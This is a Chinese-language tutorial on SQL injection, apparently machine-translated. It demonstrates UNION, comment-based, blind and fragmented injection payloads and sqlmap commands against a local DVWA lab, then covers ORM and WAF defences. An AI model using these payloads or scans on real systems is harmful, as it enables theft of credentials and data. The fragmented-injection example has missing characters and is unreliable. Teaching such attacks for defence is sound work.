作為Web開發人員,如果有一個熟悉的攻擊媒介,那就是注入,尤其是這個注入。在OWASP上 ,排名前10位的注入在SQL的注視下排名第一。如今使用SQL 非常普遍,易于自動化,但同時也會造成很多不可修復的損害。話雖如此,重要的是要提到SQL注入(從這里開始將被稱為SQLi)是一個具有多種風格的簡單概念。下面就來了解一下SQL注入基礎知識,這里盡可能多的SQL DB風格出現在各種Web表單和開發人員錯誤的矩陣中。
SQL注入是什么
SQL注入(簡稱SQLi)是一種滲透Web應用程序數據而不損害主機本身的方法。它使攻擊者可以從數據庫中提取數據,在某些情況下還可以從源代碼和其他敏感信息中提取數據。
進行攻擊需要一個非常簡單的“黑客工具”:您的瀏覽器,使其易于訪問且易于學習和執行。
有多種SQLi向量。最常見的請求涉及來自客戶端瀏覽器的HTTP請求。因此,在開發人員希望用戶提供簡單輸入(例如用戶ID)的情況下,攻擊者可能會嘗試注入SQL語句。例如,不要提供1,而是考慮以下輸入:
1' UNION SELECT password FROM users UNION SELECT '1
如果在注入的上下文中未考慮到后端代碼,則這種查詢可能會被利用。結果是通過簡單的Web表單提取數據庫信息。如果成功,則攻擊者無需訪問物理服務器。數據是可提取的,并且可以“合法”方式獲得。
如何進攻
為了建立一個實際的例子,我使用了臭名昭著的Damn Vulnerable Web Application。它有多種形式,但是為了演示和提高速度,讓我們選擇使用Docker最快的一種:
docker run --rm -it -p 8080:80 vulnerables/web-dvwa
# The login screen would be @ http://localhost:8080
#
# While the login can be brute-forced, let's keep things simple for now:
# 1. Login - User: "admin", Password: "password"
# 2. Click "Create / Reset Database"
# 3. You're all set. Login again.
菜單模塊
從菜單中選擇“ SQL Injection”模塊。嘗試使用可能的輸入時,我們可以看到請求的參數是用戶ID,因此,第一個選項可以是 1:1
# ID: 1
# First name: admin
# Surname: admin
似乎我們收到了三個字段的響應:ID,名和姓。
讓我們通過提供 ':'
# Output:
# You have an error in your SQL syntax; check the manual that
# corresponds to your MariaDB server version for the right
# syntax to use near ''''' at line 1
# Look how hackernoon's syntax highlighting is
# breaking up due to a single quote
# Think about how the same can affect
# SQL queries
此響應在這里是有價值的信息。當應用程序返回錯誤并從后端轉發錯誤消息時,攻擊者將獲得實時反饋,以進行不同的嘗試以進行調整。
有時,作為一種防御機制,應用程序返回通用錯誤消息而沒有任何提示性消息。仍然可以執行攻擊并將其稱為“盲SQL注入”。 進一步了解。
回到我們的注射任務。使用后 ' 該應用程序返回了一條有用的消息,提示附近有錯誤 '''''。看起來注入是有效的,并且來自DB引擎的響應是可見的。這意味著我們可以嘗試不同的方法并獲得可見的反饋。
SQL UNION語句是常見的幫助器。使用該工具,攻擊者可以將其他信息與結果統一起來并一起返回。我們將嘗試運行下一個:
1' UNION SELECT '2
# Output: The used SELECT statements have a
# different number of columns
首先,讓我們回顧一下輸入:
1' 表示“以1結束語句并以撇號將其結束”。正是因為這個原因;能夠終止SQL查詢的邏輯部分, ' 如果未能正確逃脫,將會很危險。
UNION SELECT '2 是一個 UNION 選擇一個數字并打開另一個數字的語句 ' 與后端代碼中語句末尾的那個配對。
現在我們知道了 UNION 可能需要一些調整。用以下命令調用SQL語句時 UNION 數據庫引擎會嘗試將結果統一為一組。為了做到這一點,所有部分必須具有相同的列號,以便可以統一它們。
讓我們擴展測試并提供另一列:
1' UNION SELECT 1,'2
# ID: 1' UNION SELECT 1,'2
# First name: admin
# Surname: admin
# ID: 1' UNION SELECT 1,'2
# First name: 1
# Surname: 2
不過,這并不是真正的提取數據。為了找到有意義的東西,我們必須找到解決方案的方式,但這絕對是有希望的。
1.第一步是從以下位置獲取數據庫名稱以查詢表:
1' union select 2, table_schema from
information_schema.tables union select 3,'4
這將產生三組,數據庫名稱在“ Surname”下:“ admin”,“ dvwa”,“ information_schema”。
2.我們感興趣 dvwa,因此我們將選擇它并查詢其架構:
1' union select 2, table_name from
information_schema.tables where
table_schema = 'dvwa' union select 3,'4
該查詢產生表名稱:“ admin”,“ users”,“ guestbook”
3.“用戶”表通常是立即可疑的,其中包含有趣的數據,例如用戶名,密碼和其他個人身份信息(PII)。我們將對此進行查詢(隨時修改請求并查詢所有可用信息):
1' union select 2, column_name from
information_schema.columns where
table_name = 'users' union select 3,'4
我們以列名稱列表作為響應。“用戶”和“密碼”似乎很有趣。
4.我們繼續直接查詢“用戶”表:
1' union select user, password from users
union select 1,2'
# ID:1' union select user, password from
# users union select 1,2'
# First name: admin
# Surname: admin
# ID:1' union select user, password from users
# union select 1,2'
# First name: admin # Surname:
# 5f4dcc3b5aa765d61d8327deb882cf99
# ID:1' union select user, password from users
# union select 1,2'
# First name: gordonb # Surname:
# e99a18c428cb38d5f260853678922e03
# ID:1' union select user, password from users
# union select 1,2'
# First name: 1337 # Surname:
# 8d3533d75ae2c3966d7e0d4fcc69216b
# ID:1' union select user, password from users
# union select 1,2'
# First name: pablo # Surname:
# 0d107d09f5bbe40cade3de5c71e9e9b7
# ID:1' union select user, password from users
# union select 1,2'
# First name: smithy # Surname:
# 5f4dcc3b5aa765d61d8327deb882cf99
# ID:1' union select user, password from users
# union select 1,2'
# First name: 1 # Surname: 2
它是:現有所有用戶和密碼的列表。出人意料的是(或沒有),密碼是明文形式的,甚至沒有像應有的那樣散列。
安全級別:中
在“ DVWA安全性”下提高DVWA安全性級別->選擇 Medium。
這次,我們找到了一個下拉列表,而不是簡單的表單,其中包含某些用戶可供選擇。檢查瀏覽器開發工具會告訴我們 POST 正在使用兩個參數發送請求: id=1&Submit=Submit。由于頭文件不只幾個,因此我們可以使用任何一種攔截器來捕獲請求并使用不同的參數重復該請求。一個最喜歡的選項是BurpSuite。
快速設置以與BurpSuite進行攔截
設置您的請求以通過代理;使用Firefox,這很容易 Preferences -> Advanced -> Network Settings -> Manual Proxy Configuration 并設置所有要通過的協議 127.0.0.1:8080 (BurpSuite的默認設置)
前往BurpSuite Proxy 標簽并設置 intercept on。Firefox發出的下一個請求應在BS處停止,您可以決定停止,轉發或丟棄它。
轉到DVWA SQLi頁面,從下拉列表中選擇一個ID,然后單擊 Submit。該請求應在BurpSuite上等待,然后我們可以將其發送到 Repeater 通過 Actions 菜單。
通過玩來戳服務器 id 的 POST 請求以以下形式顯示轉義字符 。所以每當有特殊字符',#,-,$看來它正在逃脫。但是,不能使用特殊字符,不能防止 UNION 使用完全相同的語法進行注入:
1 UNION SELECT user, password FROM users而已。根本沒有逃脫。后端代碼已經將其包裝并完全獲取命令中的所有內容。
安全等級:高
上一個安全級別顯示了一個鏈接,該鏈接會彈出另一個帶有控制請求的表單的窗口。嘗試使用先前的轉義符可以看出,此處的代碼“更好”,但仍有故障。注釋是逃避該行其余部分的好方法:
SELECT something FROM sometable # WHERE ...
# Will translate into the SQL query
SELECT something FROM sometable
注釋SQL行有不同的選項,常見的是 --, #, /* -以結尾的多行 */。
在“現實世界”中,這些對于描述代碼很有用:
SELECT name -- this is the name
FROM users -- users table
WHERE name="DAN" -- Dan is the CEO
對于SQLi,注釋有助于忽略后面的其余代碼,因此請考慮以下PHP代碼:
// Check database
$query= "SELECT first_name, last_name FROM users
WHERE user_id = '$id' LIMIT 1;";
查詢是 LIMITed到一個結果,使得很難提取大量數據,而忽略了 LIMITation可以繞過它:
# First input:
1 UNION SELECT user,password from users
# Translates to
SELECT first_name, last_name FROM users
WHERE user_id = '1 union select user,password' LIMIT 1;
由于查詢結果僅限于一組,它將不斷返回 first_name, last_name,而忽略 UNION。
然后讓我們再試一次:
1 UNION SELECT user,password from users#
# Limitation ignored
SELECT first_name, last_name FROM users
WHERE user_id = '1 union select user,password FROM users';
SQLi
當應用程序不返回SQL錯誤但仍然容易受到攻擊時,將使用盲SQL注入。這實際上與普通SQL相同,但是攻擊者必須使用一系列正確/錯誤測試來確定漏洞是否存在。另一種方法是基于時間的。通過發送 SLEEP 在查詢中,攻擊者可以根據顯示響應所花費的時間判斷答案是否肯定。
基于時間的盲SQL注入依賴于數據庫暫停指定的時間量,然后返回結果,表明成功執行了SQL查詢。使用此方法,攻擊者使用以下邏輯枚舉所需數據的每個字母:
如果第一個數據庫名稱的第一個字母為'A',請等待10秒鐘。
如果第一個數據庫名稱的第一個字母為'B',請等待10秒鐘等等
-盲SQL注入— OWASP
讓我們使用以下命令測試DVWA盲SQLi模塊 low 安全級別。簡單的輸入 1 系統返回 User ID exists in the database。輸入錯誤 ' 響應是 404 一條消息 User ID is MISSING from the database。
下一步是研究布爾攻擊是否是可選的:
# Input
'1 AND 1='1
>> User ID exists in the database.
# Ok, that was supposed to be a truthy signal.
# Input
'1 AND 1='2
>> User ID is MISSING from the database.
# Good! It seems a boolean-based blind attack is
valid
從這里開始,就需要將已知結果分為錯誤/肯定的陳述,攻擊者可以從中得出答案。例如:
# This input returns 404
1' and (select user from users where
user_id=1)='test' and 1='1
# However this is successful
# This means the name is 'admin' where user_id = 1
1' and (select user from users where
user_id=1)='admin' and 1='1
碎片化的SQLi
鮮為人知的方法,但是在某些字符例如 ' 轉義,但用戶可以控制兩個不同的字段。一個明顯的例子是登錄頁面。當應用程序對字符串進行轉義時,例如使用 ,攻擊者可以通過創建自己的逃避來避開它,如下所示:
username:
password: or 1 #
$query = select * from users where username='".$username."'
and password='".$password."'";
轉換為:
select * FROM users where username='' or password='
or 1 # ';
反斜杠轉義以下單引號,從而導致應用程序讀取用戶名值的情況如下: '' or password=' or 1 # '。上面的語句將始終返回 true。確保將其后面的命令部分作為注釋忽略。
使用sqlmap自動化事物
人們必須熟悉處理不同情況的不同技術。但是,如果您不是專家,那么重寫有效載荷并記住所有選項將很困難。我們可能會錯過的人為錯誤和假陽性也可能造成干擾。 Sqlmap可以提供幫助。
sqlmap 是一個CLI工具,可自動執行掃描并提供相關信息。如果可能,它可以從數據庫中獲取信息,例如數據庫名稱,甚至表。它還將標識盲目的SQLi并報告可選技術(布爾或基于時間)。
這是在DVWA盲SQLi級別上的簡單操作
# Scanning the full form path with parameters
# Note how cookies are also passed to the scanner
for authentication
sqlmap -u "http://localhost:8000/vulnerabilities/sqli_blind/?
id=1&Submit=Submit#"
--cookie="PHPSESSID=abcd;security=low"
--dbs
sqlmap resumed the following injection point(s)
from stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or
HAVING clause
Payload: id=1' AND 5756=5756 AND
'XWif'='XWif&Submit=Submit
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
(query SLEEP)
Payload: id=1' AND (SELECT 5198 FROM
(SELECT(SLEEP(5)))xyFF)
AND 'lswI'='lswI&Submit=Submit
---
available databases [2]:
[*] dvwa
[*] information_schema
掃描程序同時發現了漏洞和必須盲目攻擊的事實。它建議有效負載和可以使用的當前可用數據庫:
# Running the same scan with a -D for db name
# and --tables to enumerate the dvwa db
sqlmap -u "http://localhost:8000/vulnerabilities/sqli_blind/?
id=1&Submit=Submit#"
--cookie="PHPSESSID=abcd;security=low"
-D dvwa
--tables
Database: dvwa
[2 tables]
+-----------+
| guestbook |
| users |
+-----------+
防御
“ ORM ” —一個普遍的信念是,處理SQLi的一種好方法是使用ORM層。ORM不僅提供數據結構管理,而且還消除了構建原始數據庫查詢的責任。這通常是有幫助的;將進行查詢的責任轉移給更有經驗的人是有意義的。但是,不應盲目進行。雖然ORM通常是一個,但它不是SQLi安全解決方案。ORM可以輕松地變成一把雙刃劍。如果被破壞,ORM可能會變成世界范圍的SQL注入漏洞。ORM用戶必須熟悉注入方法并測試自己的應用程序。
“我會說這是任何ORM的基準期望,是的。只要您使用ORM的核心API或查詢構建器,這就有可能是為什么未在文檔中提及它的原因。這就是需要注意的地方……ORM提供了許多構建數據庫查詢的方法,但它們也為您提供了選擇/靈活性,可以將“原始”,“自己動手”查詢編寫為字符串……或者允許您編寫某些部分生成的查詢作為原始字符串。顯然,您要避免這樣做,因為這樣做有點違反了使用ORM的目的……但是,時不時都有這種情況。”
-由@ feather-hmalone提供的TypeOrm問題回復
WAF—Web應用程序防火墻可以通過過濾傳入的可疑請求(例如SQLi的請求)或跨站點腳本有效負載來提供很大的幫助。這些也依賴于其規則的力量, 如果實施不正確,則可以繞開它們。
自衛-牢記最佳實踐來構建事物是一個很好的方向。聽起來很明顯,但事實并非如此。最佳實踐心態很好,但這并不意味著可以將每個職責都轉移到另一個層。當涉及到安全性時,尤其是對于負責大多數Web數據泄漏的媒介而言,應該知道如何進行自我防御。熟悉攻擊和工具可以使敏感信息泄漏有所不同。
以上就是關于SQL注入基礎知識的全部內容,想了解更多關于SQL的信息,請繼續關注中培偉業。